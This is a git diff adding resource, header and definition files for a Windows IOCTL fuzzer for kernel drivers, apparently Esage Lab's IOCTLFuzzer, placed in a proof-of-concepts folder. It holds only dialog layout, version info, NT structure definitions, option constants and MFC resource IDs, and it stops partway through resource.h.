Log file 'c:\Users\minzhen\Desktop\8.3 Hook DeviceIoControlFile(x86 x64)\HookDeviceIoControlFile\HookDeviceIoControlFile\HookDeviceIoControlFile\ioctlfuzzer.log' created +[17792] PipeServerThread(): Listening on pipe '\\.\pipe\IOCTLfuzzer' +[17792] [+] Changing console screen buffer height from 300 to 4096 lines diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.rc b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.rc new file mode 100644 index 00000000..a392e018 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.rc @@ -0,0 +1,165 @@ +// Microsoft Visual C++ generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "afxres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// Russian resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_RUS) +#ifdef _WIN32 +LANGUAGE LANG_RUSSIAN, SUBLANG_DEFAULT +#pragma code_page(1251) +#endif //_WIN32 + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE +BEGIN + "#include ""afxres.h""\r\0" +END + +3 TEXTINCLUDE +BEGIN + "\r\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// RT_MANIFEST +// + +1 RT_MANIFEST "default.manifest" + +///////////////////////////////////////////////////////////////////////////// +// +// Dialog +// + +IDD_DIALOG DIALOGEX 0, 0, 258, 159 +STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER | WS_POPUP | WS_CAPTION +CAPTION "IOCTL Fuzzer" +FONT 8, "MS Shell Dlg", 400, 0, 0x1 +BEGIN + LTEXT "IOCTL Fuzzer control pannel",IDC_STATIC,55,24,92,8 + ICON "IDI_ICON",IDC_STATIC,21,17,21,20 + PUSHBUTTON "Hide Dialog",IDC_HIDE,15,128,101,14 + PUSHBUTTON "Terminate Application",IDC_TERMINATE,127,128,113,14 + GROUPBOX "",IDC_STATIC,7,0,238,152 + CONTROL "Enable IOCTL Requests Monitoring",IDC_LOG_CONSOLE, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,26,65,127,10 + CONTROL "Print Logs Into the Debugger Output",IDC_LOG_DEBUGGER, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,26,99,133,10 + GROUPBOX "Logging Options",IDC_STATIC,15,48,221,68 + CONTROL "Dump IOCTL Request Buffers (Max. Length: 0x1000)",IDC_LOG_BUFFERS, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,26,82,186,10 +END + + +///////////////////////////////////////////////////////////////////////////// +// +// Icon +// + +// Icon with lowest ID value placed first to ensure application icon +// remains consistent on all systems. +IDI_ICON ICON "resources\\icon.ico" + +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 1,3,0,0 + PRODUCTVERSION 1,3,0,0 + FILEFLAGSMASK 0x17L +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x4L + FILETYPE 0x1L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "000004b0" + BEGIN + VALUE "CompanyName", "Esage Lab" + VALUE "FileDescription", "IOCTL fuzzer for kernel drivers" + VALUE "FileVersion", "1, 3, 0, 0" + VALUE "InternalName", "ioctlfuzzer.exe" + VALUE "LegalCopyright", "Copyright (C) 2011" + VALUE "OriginalFilename", "ioctlfuzzer.exe" + VALUE "ProductName", "IOCTLFuzzer" + VALUE "ProductVersion", "1, 3, 0, 0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x0, 1200 + END +END + + +///////////////////////////////////////////////////////////////////////////// +// +// BINRES +// + +DRIVER32 BINRES "..\\driver_i386.sys" +DRIVER64 BINRES "..\\driver_amd64.sys" + +///////////////////////////////////////////////////////////////////////////// +// +// DESIGNINFO +// + +#ifdef APSTUDIO_INVOKED +GUIDELINES DESIGNINFO +BEGIN + IDD_DIALOG, DIALOG + BEGIN + RIGHTMARGIN, 252 + BOTTOMMARGIN, 152 + END +END +#endif // APSTUDIO_INVOKED + +#endif // Russian resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/amd64/comsupp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/amd64/comsupp.lib new file mode 100644 index 00000000..d0b680e0 Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/amd64/comsupp.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/comsupp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/comsupp.lib new file mode 100644 index 00000000..13b91509 Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/comsupp.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ntdll_defs.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ntdll_defs.h new file mode 100644 index 00000000..fa904b7d --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ntdll_defs.h @@ -0,0 +1,73 @@ +typedef LONG NTSTATUS; + +typedef struct _IO_STATUS_BLOCK +{ + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; + +} IO_STATUS_BLOCK, +*PIO_STATUS_BLOCK; + +#undef UNICODE_STRING + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + +} UNICODE_STRING, +*PUNICODE_STRING; + +#define OBJ_INHERIT 0x00000002 +#define OBJ_PERMANENT 0x00000010 +#define OBJ_EXCLUSIVE 0x00000020 +#define OBJ_CASE_INSENSITIVE 0x00000040 +#define OBJ_OPENIF 0x00000080 +#define OBJ_OPENLINK 0x00000100 +#define OBJ_VALID_ATTRIBUTES 0x000001F2 + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; + +} OBJECT_ATTRIBUTES, +*POBJECT_ATTRIBUTES; + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} + +#define NT_SUCCESS(Status) ((LONG)(Status) >= 0) +#define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3) + +#define NtCurrentProcess() ((HANDLE)-1) + +#ifndef STATUS_BUFFER_OVERFLOW +#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) +#endif + +#ifndef STATUS_NO_MORE_FILES +#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L) +#endif + +#ifndef STATUS_INFO_LENGTH_MISMATCH +#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) +#endif + +#ifndef STATUS_BUFFER_TOO_SMALL +#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L) +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/options.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/options.h new file mode 100644 index 00000000..23b9a183 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/options.h @@ -0,0 +1,44 @@ + +/** + * Program information, copyright, etc. + */ +#define PROGRAM_NAME "IOCTL Fuzzer" +#define PROGRAM_AUTHOR "by Oleksiuk Dmytro (aka Cr4sh) :: dmitry@esagelab.com" +#define PROGRAM_COPYRIGHT "(c) 2011 Esage Lab :: http://www.esagelab.com/" + +/** + * Log file name to store all IOCTLs requests information. + */ +#define IOCTLS_LOG_NAME L"ioctls.log" + +/** + * Main application log file name. + */ +#define IOCTLFUZZER_LOG_FILE "ioctlfuzzer.log" + +/** + * File and service name for the kernel driver. + */ +#define DRIVER_SERVICE_NAME "IOCTL_fuzzer" +#define DRIVER_FILE_NAME "IOCTL_fuzzer.sys" + +/** + * Directory name to store downloaded debug symbols. + */ +#define SYMBOLS_DIR_NAME "Symbols" + +/** + * Default value for fuzzing type option. + */ +#define DEFAULT_FUZZING_TYPE FuzzingType_Random + +/** + * IOCTL buffer length limit for dumping into the + * application log or debugger output. + */ +#define MAX_IOCTL_BUFFER_LEGTH 0x100 + +/** + * Maximum number of lines in console window. + */ +#define CONSOLE_BUFFER_HEIGHT 0x1000 diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resource.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resource.h new file mode 100644 index 00000000..faba6e69 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resource.h @@ -0,0 +1,501 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by ioctlfuzzer.rc +// +#define ID_SEPARATOR 0 +#define VS_VERSION_INFO 1 +#define AFX_IDC_LISTBOX 100 +#define AFX_IDC_CHANGE 101 +#define IDD_DIALOG 101 +#define AFX_IDC_BROWSER 102 +#define AFX_IDC_PRINT_DOCNAME 201 +#define AFX_IDC_PRINT_PRINTERNAME 202 +#define AFX_IDC_PRINT_PORTNAME 203 +#define AFX_IDC_PRINT_PAGENUM 204 +#define ID_MFCLOC_MANIFEST 1000 +#define AFX_IDC_FONTPROP 1000 +#define IDC_HIDE 1000 +#define AFX_IDC_FONTNAMES 1001 +#define IDC_TERMINATE 1001 +#define AFX_IDC_FONTSTYLES 1002 +#define AFX_IDC_FONTSIZES 1003 +#define AFX_IDC_STRIKEOUT 1004 +#define AFX_IDC_UNDERLINE 1005 +#define IDC_LOG_CONSOLE 1005 +#define AFX_IDC_SAMPLEBOX 1006 +#define IDC_FUZZ_SIZE2 1008 +#define IDC_LOG_DEBUGGER 1008 +#define IDC_LOG_BUFFERS 1009 +#define IDC_CHECK2 1010 +#define IDC_LOG_EXCEPTIONS 1010 +#define AFX_IDC_COLOR_BLACK 1100 +#define AFX_IDC_COLOR_WHITE 1101 +#define AFX_IDC_COLOR_RED 1102 +#define AFX_IDC_COLOR_GREEN 1103 +#define AFX_IDC_COLOR_BLUE 1104 +#define AFX_IDC_COLOR_YELLOW 1105 +#define AFX_IDC_COLOR_MAGENTA 1106 +#define AFX_IDC_COLOR_CYAN 1107 +#define AFX_IDC_COLOR_GRAY 1108 +#define AFX_IDC_COLOR_LIGHTGRAY 1109 +#define AFX_IDC_COLOR_DARKRED 1110 +#define AFX_IDC_COLOR_DARKGREEN 1111 +#define AFX_IDC_COLOR_DARKBLUE 1112 +#define AFX_IDC_COLOR_LIGHTBROWN 1113 +#define AFX_IDC_COLOR_DARKMAGENTA 1114 +#define AFX_IDC_COLOR_DARKCYAN 1115 +#define AFX_IDC_COLORPROP 1116 +#define AFX_IDC_SYSTEMCOLORS 1117 +#define AFX_IDC_PROPNAME 1201 +#define AFX_IDC_PICTURE 1202 +#define AFX_IDC_BROWSE 1203 +#define AFX_IDC_CLEAR 1204 +#define AFX_IDC_TAB_CONTROL 0x3020 +#define ID_APPLY_NOW 0x3021 +#define ID_WIZBACK 0x3023 +#define ID_WIZNEXT 0x3024 +#define ID_WIZFINISH 0x3025 +#define AFX_IDD_NEWTYPEDLG 30721 +#define AFX_IDD_PRINTDLG 30722 +#define AFX_IDD_PREVIEW_TOOLBAR 30723 +#define AFX_IDD_INSERTOBJECT 30724 +#define AFX_IDD_CHANGEICON 30725 +#define AFX_IDD_CONVERT 30726 +#define AFX_IDD_PASTESPECIAL 30727 +#define AFX_IDD_EDITLINKS 30728 +#define AFX_IDD_FILEBROWSE 30729 +#define AFX_IDD_BUSY 30730 +#define AFX_IDD_OBJECTPROPERTIES 30732 +#define AFX_IDD_CHANGESOURCE 30733 +#define AFX_IDD_EMPTYDIALOG 30734 +#define AFX_IDC_CONTEXTHELP 30977 +#define AFX_IDC_MAGNIFY 30978 +#define AFX_IDC_SMALLARROWS 30979 +#define AFX_IDC_HSPLITBAR 30980 +#define AFX_IDC_VSPLITBAR 30981 +#define AFX_IDC_NODROPCRSR 30982 +#define AFX_IDC_TRACKNWSE 30983 +#define AFX_IDC_TRACKNESW 30984 +#define AFX_IDC_TRACKNS 30985 +#define AFX_IDC_TRACKWE 30986 +#define AFX_IDC_TRACK4WAY 30987 +#define AFX_IDC_MOVE4WAY 30988 +#define AFX_IDB_MINIFRAME_MENU 30994 +#define AFX_IDB_CHECKLISTBOX_95 30996 +#define AFX_IDR_PREVIEW_ACCEL 30997 +#define AFX_IDC_MOUSE_PAN_NW 30998 +#define AFX_IDC_MOUSE_PAN_N 30999 +#define AFX_IDC_MOUSE_PAN_NE 31000 +#define AFX_IDC_MOUSE_PAN_W 31001 +#define AFX_IDC_MOUSE_PAN_HV 31002 +#define AFX_IDC_MOUSE_PAN_E 31003 +#define AFX_IDC_MOUSE_PAN_SW 31004 +#define AFX_IDC_MOUSE_PAN_S 31005 +#define AFX_IDC_MOUSE_PAN_SE 31006 +#define AFX_IDC_MOUSE_PAN_HORZ 31007 +#define AFX_IDC_MOUSE_PAN_VERT 31008 +#define AFX_IDC_MOUSE_ORG_HORZ 31009 +#define AFX_IDC_MOUSE_ORG_VERT 31010 +#define AFX_IDC_MOUSE_ORG_HV 31011 +#define AFX_IDC_MOUSE_MASK 31012 +#define AFX_IDI_STD_MDIFRAME 31233 +#define AFX_IDI_STD_FRAME 31234 +#define AFX_IDD_PROPPAGE_COLOR 32257 +#define AFX_IDD_PROPPAGE_FONT 32258 +#define AFX_IDD_PROPPAGE_PICTURE 32259 +#define AFX_IDB_TRUETYPE 32384 +#define AFX_IDS_APP_TITLE 0xE000 +#define AFX_IDS_IDLEMESSAGE 0xE001 +#define AFX_IDS_HELPMODEMESSAGE 0xE002 +#define AFX_IDS_APP_TITLE_EMBEDDING 0xE003 +#define AFX_IDS_COMPANY_NAME 0xE004 +#define AFX_IDS_OBJ_TITLE_INPLACE 0xE005 +#define ID_FILE_NEW 0xE100 +#define ID_FILE_OPEN 0xE101 +#define ID_FILE_CLOSE 0xE102 +#define ID_FILE_SAVE 0xE103 +#define ID_FILE_SAVE_AS 0xE104 +#define ID_FILE_PAGE_SETUP 0xE105 +#define ID_FILE_PRINT_SETUP 0xE106 +#define ID_FILE_PRINT 0xE107 +#define ID_FILE_PRINT_DIRECT 0xE108 +#define ID_FILE_PRINT_PREVIEW 0xE109 +#define ID_FILE_UPDATE 0xE10A +#define ID_FILE_SAVE_COPY_AS 0xE10B +#define ID_FILE_SEND_MAIL 0xE10C +#define ID_FILE_NEW_FRAME 0xE10D +#define ID_FILE_MRU_FIRST 0xE110 +#define ID_FILE_MRU_FILE1 0xE110 +#define ID_FILE_MRU_FILE2 0xE111 +#define ID_FILE_MRU_FILE3 0xE112 +#define ID_FILE_MRU_FILE4 0xE113 +#define ID_FILE_MRU_FILE5 0xE114 +#define ID_FILE_MRU_FILE6 0xE115 +#define ID_FILE_MRU_FILE7 0xE116 +#define ID_FILE_MRU_FILE8 0xE117 +#define ID_FILE_MRU_FILE9 0xE118 +#define ID_FILE_MRU_FILE10 0xE119 +#define ID_FILE_MRU_FILE11 0xE11A +#define ID_FILE_MRU_FILE12 0xE11B +#define ID_FILE_MRU_FILE13 0xE11C +#define ID_FILE_MRU_FILE14 0xE11D +#define ID_FILE_MRU_FILE15 0xE11E +#define ID_FILE_MRU_FILE16 0xE11F +#define ID_FILE_MRU_LAST 0xE11F +#define ID_EDIT_CLEAR 0xE120 +#define ID_EDIT_CLEAR_ALL 0xE121 +#define ID_EDIT_COPY 0xE122 +#define ID_EDIT_CUT 0xE123 +#define ID_EDIT_FIND 0xE124 +#define ID_EDIT_PASTE 0xE125 +#define ID_EDIT_PASTE_LINK 0xE126 +#define ID_EDIT_PASTE_SPECIAL 0xE127 +#define ID_EDIT_REPEAT 0xE128 +#define ID_EDIT_REPLACE 0xE129 +#define ID_EDIT_SELECT_ALL 0xE12A +#define ID_EDIT_UNDO 0xE12B +#define ID_EDIT_REDO 0xE12C +#define ID_WINDOW_NEW 0xE130 +#define ID_WINDOW_ARRANGE 0xE131 +#define ID_WINDOW_CASCADE 0xE132 +#define ID_WINDOW_TILE_HORZ 0xE133 +#define ID_WINDOW_TILE_VERT 0xE134 +#define ID_WINDOW_SPLIT 0xE135 +#define ID_APP_ABOUT 0xE140 +#define ID_APP_EXIT 0xE141 +#define ID_HELP_INDEX 0xE142 +#define ID_HELP_FINDER 0xE143 +#define ID_HELP_USING 0xE144 +#define ID_CONTEXT_HELP 0xE145 +#define ID_HELP 0xE146 +#define ID_DEFAULT_HELP 0xE147 +#define ID_NEXT_PANE 0xE150 +#define ID_PREV_PANE 0xE151 +#define ID_FORMAT_FONT 0xE160 +#define ID_OLE_INSERT_NEW 0xE200 +#define ID_OLE_EDIT_LINKS 0xE201 +#define ID_OLE_EDIT_CONVERT 0xE202 +#define ID_OLE_EDIT_CHANGE_ICON 0xE203 +#define ID_OLE_EDIT_PROPERTIES 0xE204 +#define ID_OLE_VERB_FIRST 0xE210 +#define AFX_ID_PREVIEW_CLOSE 0xE300 +#define AFX_ID_PREVIEW_NUMPAGE 0xE301 +#define AFX_ID_PREVIEW_NEXT 0xE302 +#define AFX_ID_PREVIEW_PREV 0xE303 +#define AFX_ID_PREVIEW_PRINT 0xE304 +#define AFX_ID_PREVIEW_ZOOMIN 0xE305 +#define AFX_ID_PREVIEW_ZOOMOUT 0xE306 +#define ID_INDICATOR_EXT 0xE700 +#define ID_INDICATOR_CAPS 0xE701 +#define ID_INDICATOR_NUM 0xE702 +#define ID_INDICATOR_SCRL 0xE703 +#define ID_INDICATOR_OVR 0xE704 +#define ID_INDICATOR_REC 0xE705 +#define ID_INDICATOR_KANA 0xE706 +#define ID_VIEW_TOOLBAR 0xE800 +#define ID_VIEW_STATUS_BAR 0xE801 +#define ID_VIEW_REBAR 0xE804 +#define ID_VIEW_AUTOARRANGE 0xE805 +#define ID_VIEW_SMALLICON 0xE810 +#define ID_VIEW_LARGEICON 0xE811 +#define ID_VIEW_LIST 0xE812 +#define ID_VIEW_DETAILS 0xE813 +#define ID_VIEW_LINEUP 0xE814 +#define ID_VIEW_BYNAME 0xE815 +#define ID_RECORD_FIRST 0xE900 +#define ID_RECORD_LAST 0xE901 +#define ID_RECORD_NEXT 0xE902 +#define ID_RECORD_PREV 0xE903 +#define AFX_IDS_SCSIZE 0xEF00 +#define AFX_IDS_SCMOVE 0xEF01 +#define AFX_IDS_SCMINIMIZE 0xEF02 +#define AFX_IDS_SCMAXIMIZE 0xEF03 +#define AFX_IDS_SCNEXTWINDOW 0xEF04 +#define AFX_IDS_SCPREVWINDOW 0xEF05 +#define AFX_IDS_SCCLOSE 0xEF06 +#define AFX_IDS_SCRESTORE 0xEF12 +#define AFX_IDS_SCTASKLIST 0xEF13 +#define AFX_IDS_MDICHILD 0xEF1F +#define AFX_IDS_DESKACCESSORY 0xEFDA +#define AFX_IDS_OPENFILE 0xF000 +#define AFX_IDS_SAVEFILE 0xF001 +#define AFX_IDS_ALLFILTER 0xF002 +#define AFX_IDS_UNTITLED 0xF003 +#define AFX_IDS_SAVEFILECOPY 0xF004 +#define AFX_IDS_PREVIEW_CLOSE 0xF005 +#define AFX_IDS_UNNAMED_FILE 0xF006 +#define AFX_IDS_HIDE 0xF011 +#define AFX_IDP_NO_ERROR_AVAILABLE 0xF020 +#define AFX_IDS_NOT_SUPPORTED_EXCEPTION 0xF021 +#define AFX_IDS_RESOURCE_EXCEPTION 0xF022 +#define AFX_IDS_MEMORY_EXCEPTION 0xF023 +#define AFX_IDS_USER_EXCEPTION 0xF024 +#define AFX_IDS_INVALID_ARG_EXCEPTION 0xF025 +#define AFX_IDS_PRINTONPORT 0xF040 +#define AFX_IDS_ONEPAGE 0xF041 +#define AFX_IDS_TWOPAGE 0xF042 +#define AFX_IDS_PRINTPAGENUM 0xF043 +#define AFX_IDS_PREVIEWPAGEDESC 0xF044 +#define AFX_IDS_PRINTDEFAULTEXT 0xF045 +#define AFX_IDS_PRINTDEFAULT 0xF046 +#define AFX_IDS_PRINTFILTER 0xF047 +#define AFX_IDS_PRINTCAPTION 0xF048 +#define AFX_IDS_PRINTTOFILE 0xF049 +#define AFX_IDS_OBJECT_MENUITEM 0xF080 +#define AFX_IDS_EDIT_VERB 0xF081 +#define AFX_IDS_ACTIVATE_VERB 0xF082 +#define AFX_IDS_CHANGE_LINK 0xF083 +#define AFX_IDS_AUTO 0xF084 +#define AFX_IDS_MANUAL 0xF085 +#define AFX_IDS_FROZEN 0xF086 +#define AFX_IDS_ALL_FILES 0xF087 +#define AFX_IDS_SAVE_MENU 0xF088 +#define AFX_IDS_UPDATE_MENU 0xF089 +#define AFX_IDS_SAVE_AS_MENU 0xF08A +#define AFX_IDS_SAVE_COPY_AS_MENU 0xF08B +#define AFX_IDS_EXIT_MENU 0xF08C +#define AFX_IDS_UPDATING_ITEMS 0xF08D +#define AFX_IDS_METAFILE_FORMAT 0xF08E +#define AFX_IDS_DIB_FORMAT 0xF08F +#define AFX_IDS_BITMAP_FORMAT 0xF090 +#define AFX_IDS_LINKSOURCE_FORMAT 0xF091 +#define AFX_IDS_EMBED_FORMAT 0xF092 +#define AFX_IDS_PASTELINKEDTYPE 0xF094 +#define AFX_IDS_UNKNOWNTYPE 0xF095 +#define AFX_IDS_RTF_FORMAT 0xF096 +#define AFX_IDS_TEXT_FORMAT 0xF097 +#define AFX_IDS_INVALID_CURRENCY 0xF098 +#define AFX_IDS_INVALID_DATETIME 0xF099 +#define AFX_IDS_INVALID_DATETIMESPAN 0xF09A +#define AFX_IDP_INVALID_FILENAME 0xF100 +#define AFX_IDP_FAILED_TO_OPEN_DOC 0xF101 +#define AFX_IDP_FAILED_TO_SAVE_DOC 0xF102 +#define AFX_IDP_ASK_TO_SAVE 0xF103 +#define AFX_IDP_FAILED_TO_CREATE_DOC 0xF104 +#define AFX_IDP_FILE_TOO_LARGE 0xF105 +#define AFX_IDP_FAILED_TO_START_PRINT 0xF106 +#define AFX_IDP_FAILED_TO_LAUNCH_HELP 0xF107 +#define AFX_IDP_INTERNAL_FAILURE 0xF108 +#define AFX_IDP_COMMAND_FAILURE 0xF109 +#define AFX_IDP_FAILED_MEMORY_ALLOC 0xF10A +#define AFX_IDP_UNREG_DONE 0xF10B +#define AFX_IDP_UNREG_FAILURE 0xF10C +#define AFX_IDP_DLL_LOAD_FAILED 0xF10D +#define AFX_IDP_DLL_BAD_VERSION 0xF10E +#define AFX_IDP_PARSE_INT 0xF110 +#define AFX_IDP_PARSE_REAL 0xF111 +#define AFX_IDP_PARSE_INT_RANGE 0xF112 +#define AFX_IDP_PARSE_REAL_RANGE 0xF113 +#define AFX_IDP_PARSE_STRING_SIZE 0xF114 +#define AFX_IDP_PARSE_RADIO_BUTTON 0xF115 +#define AFX_IDP_PARSE_BYTE 0xF116 +#define AFX_IDP_PARSE_UINT 0xF117 +#define AFX_IDP_PARSE_DATETIME 0xF118 +#define AFX_IDP_PARSE_CURRENCY 0xF119 +#define AFX_IDP_PARSE_GUID 0xF11A +#define AFX_IDP_PARSE_TIME 0xF11B +#define AFX_IDP_PARSE_DATE 0xF11C +#define AFX_IDP_FAILED_INVALID_FORMAT 0xF120 +#define AFX_IDP_FAILED_INVALID_PATH 0xF121 +#define AFX_IDP_FAILED_DISK_FULL 0xF122 +#define AFX_IDP_FAILED_ACCESS_READ 0xF123 +#define AFX_IDP_FAILED_ACCESS_WRITE 0xF124 +#define AFX_IDP_FAILED_IO_ERROR_READ 0xF125 +#define AFX_IDP_FAILED_IO_ERROR_WRITE 0xF126 +#define AFX_IDP_SCRIPT_ERROR 0xF130 +#define AFX_IDP_SCRIPT_DISPATCH_EXCEPTION 0xF131 +#define AFX_IDP_STATIC_OBJECT 0xF180 +#define AFX_IDP_FAILED_TO_CONNECT 0xF181 +#define AFX_IDP_SERVER_BUSY 0xF182 +#define AFX_IDP_BAD_VERB 0xF183 +#define AFX_IDS_NOT_DOCOBJECT 0xF184 +#define AFX_IDP_FAILED_TO_NOTIFY 0xF185 +#define AFX_IDP_FAILED_TO_LAUNCH 0xF186 +#define AFX_IDP_ASK_TO_UPDATE 0xF187 +#define AFX_IDP_FAILED_TO_UPDATE 0xF188 +#define AFX_IDP_FAILED_TO_REGISTER 0xF189 +#define AFX_IDP_FAILED_TO_AUTO_REGISTER 0xF18A +#define AFX_IDP_FAILED_TO_CONVERT 0xF18B +#define AFX_IDP_GET_NOT_SUPPORTED 0xF18C +#define AFX_IDP_SET_NOT_SUPPORTED 0xF18D +#define AFX_IDP_ASK_TO_DISCARD 0xF18E +#define AFX_IDP_FAILED_TO_CREATE 0xF18F +#define AFX_IDP_FAILED_MAPI_LOAD 0xF190 +#define AFX_IDP_INVALID_MAPI_DLL 0xF191 +#define AFX_IDP_FAILED_MAPI_SEND 0xF192 +#define AFX_IDP_FILE_NONE 0xF1A0 +#define AFX_IDP_FILE_GENERIC 0xF1A1 +#define AFX_IDP_FILE_NOT_FOUND 0xF1A2 +#define AFX_IDP_FILE_BAD_PATH 0xF1A3 +#define AFX_IDP_FILE_TOO_MANY_OPEN 0xF1A4 +#define AFX_IDP_FILE_ACCESS_DENIED 0xF1A5 +#define AFX_IDP_FILE_INVALID_FILE 0xF1A6 +#define AFX_IDP_FILE_REMOVE_CURRENT 0xF1A7 +#define AFX_IDP_FILE_DIR_FULL 0xF1A8 +#define AFX_IDP_FILE_BAD_SEEK 0xF1A9 +#define AFX_IDP_FILE_HARD_IO 0xF1AA +#define AFX_IDP_FILE_SHARING 0xF1AB +#define AFX_IDP_FILE_LOCKING 0xF1AC +#define AFX_IDP_FILE_DISKFULL 0xF1AD +#define AFX_IDP_FILE_EOF 0xF1AE +#define AFX_IDP_ARCH_NONE 0xF1B0 +#define AFX_IDP_ARCH_GENERIC 0xF1B1 +#define AFX_IDP_ARCH_READONLY 0xF1B2 +#define AFX_IDP_ARCH_ENDOFFILE 0xF1B3 +#define AFX_IDP_ARCH_WRITEONLY 0xF1B4 +#define AFX_IDP_ARCH_BADINDEX 0xF1B5 +#define AFX_IDP_ARCH_BADCLASS 0xF1B6 +#define AFX_IDP_ARCH_BADSCHEMA 0xF1B7 +#define AFX_IDS_OCC_SCALEUNITS_PIXELS 0xF1C0 +#define AFX_IDS_STATUS_FONT 0xF230 +#define AFX_IDS_TOOLTIP_FONT 0xF231 +#define AFX_IDS_UNICODE_FONT 0xF232 +#define AFX_IDS_MINI_FONT 0xF233 +#define AFX_IDP_SQL_CONNECT_FAIL 0xF281 +#define AFX_IDP_SQL_RECORDSET_FORWARD_ONLY 0xF282 +#define AFX_IDP_SQL_EMPTY_COLUMN_LIST 0xF283 +#define AFX_IDP_SQL_FIELD_SCHEMA_MISMATCH 0xF284 +#define AFX_IDP_SQL_ILLEGAL_MODE 0xF285 +#define AFX_IDP_SQL_MULTIPLE_ROWS_AFFECTED 0xF286 +#define AFX_IDP_SQL_NO_CURRENT_RECORD 0xF287 +#define AFX_IDP_SQL_NO_ROWS_AFFECTED 0xF288 +#define AFX_IDP_SQL_RECORDSET_READONLY 0xF289 +#define AFX_IDP_SQL_SQL_NO_TOTAL 0xF28A +#define AFX_IDP_SQL_ODBC_LOAD_FAILED 0xF28B +#define AFX_IDP_SQL_DYNASET_NOT_SUPPORTED 0xF28C +#define AFX_IDP_SQL_SNAPSHOT_NOT_SUPPORTED 0xF28D +#define AFX_IDP_SQL_API_CONFORMANCE 0xF28E +#define AFX_IDP_SQL_SQL_CONFORMANCE 0xF28F +#define AFX_IDP_SQL_NO_DATA_FOUND 